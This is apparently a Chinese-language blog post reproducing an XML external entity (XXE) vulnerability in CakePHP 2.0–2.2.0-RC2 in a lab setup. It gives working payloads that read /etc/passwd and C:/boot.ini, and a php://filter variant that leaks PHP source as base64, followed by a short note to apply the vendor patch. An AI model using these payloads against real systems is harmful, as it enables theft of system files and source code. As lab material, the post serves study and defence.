CakePHP XML外部实体漏洞

CakePHP XML外部实体漏洞

一、CakePHP详解:

CakePHP是一个开源的PHP on rails的full-stack framework。最开始从Ruby On Rails框架里得到灵感。程序员可使用它来快速创建的Web应用程序。我们的首要目的是使你以一种预置的快速且不失灵活性的方式开展工作。

CakePHP 2.0 - 2.2.0-RC2存在XML外部实体注入漏洞,攻击者可利用此漏洞获取本地文件敏感信息。

二、CakePHP漏洞复现:

搭建好环境,访问

http://172.16.12.2/simplexml_load_string.php
 

进行burp抓包,注入poc

Linux:

<!DOCTYPE cakephp [
  <!ENTITY payload SYSTEM "file:///etc/passwd" >]>
<request>
  <xxe>&payload;</xxe>
</request>

Windows:

<!DOCTYPE cakephp [
  <!ENTITY payload SYSTEM "file:///C:/boot.ini" >]>
<request>
  <xxe>&payload;</xxe>

将会读取到passwd文件的内容

如果修改XML中的外部实体为其他协议,如php://filter/read=convert.base64-encode/resource=index.php,在Proxy选项卡的原数据包中粘贴XML内容,点击FORWARD放行请求,返回的结果在浏览器上显示如下

返回值为PD9waHANCnBocGluZm8oKTsNCj8+,经过base64解码,可以看到字符串是index.php的源代码 

 
<?php
 
phpinfo();
 
?>

我们来访问一下index.php,可以看到确实是执行了phpinfo();函数

三、漏洞修复建议:

安装厂商的补丁 

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码

)">
< <上一篇
下一篇>>